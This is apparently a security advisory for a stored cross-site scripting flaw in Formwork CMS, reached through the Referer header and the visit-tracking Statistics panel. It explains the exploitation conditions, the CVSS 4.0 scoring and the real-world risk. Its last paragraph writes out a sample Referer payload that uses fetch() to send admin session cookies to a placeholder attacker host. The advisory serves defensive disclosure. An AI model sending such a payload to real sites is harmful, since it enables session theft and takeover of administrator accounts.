Formwork CMS CVE-2026-82451

Exploitation requires two conditions: first, that the target site runs Formwork through 2.3.14 with visit tracking enabled (the feature must be active and accumulating Referer data); second, that an administrator navigates to the Statistics panel after the malicious request is stored. The attack itself requires no authentication - any unauthenticated HTTP client can send the crafted Referer header. Exploitation is limited by the passive trigger: the attacker cannot force an administrator to view the Statistics panel and must wait for routine admin activity. Non-default deployments where the Statistics panel is disabled or visit tracking is turned off are not affected. There is no indication this requires a specific operating system, PHP version, or server configuration beyond a default Formwork installation.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P) correctly captures that exploitation is trivially automatable - an attacker needs only to send a single crafted HTTP request to any page of the target site with no authentication. The sole friction is UI:P (passive user interaction): an administrator must open the Statistics panel, which is routine behavior. CVSS 4.0 scores this at 5.3 (Medium), reflecting the indirect path through admin interaction and limited per-impact ratings (VC:L/VI:L). Real-world risk is meaningfully higher than the numeric score implies: stored XSS against an admin panel is a standard pivot to account takeover, credential exfiltration, or backdoor installation via the CMS editor. Formwork is a niche product with a small deployment footprint, which limits aggregate exposure. No KEV listing and no confirmed POC reduce urgency somewhat, but the attack requires zero skill - crafting a Referer header is trivial with curl. EPSS data is not provided; given product obscurity, exploitation probability is likely low in absolute terms.

An attacker identifies a Formwork-powered site and sends a single HTTP GET request to any public page with a Referer header containing a crafted payload such as a script tag or event-handler attribute in the host field - for example, Referer: http://"><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>/. Formwork's visit tracker stores this unescaped value. The next time any administrator opens the Statistics panel, the injected script executes in their browser session, exfiltrating session cookies or admin credentials to the attacker. No authentication, brute force, or interaction with the victim beyond their routine panel use is required.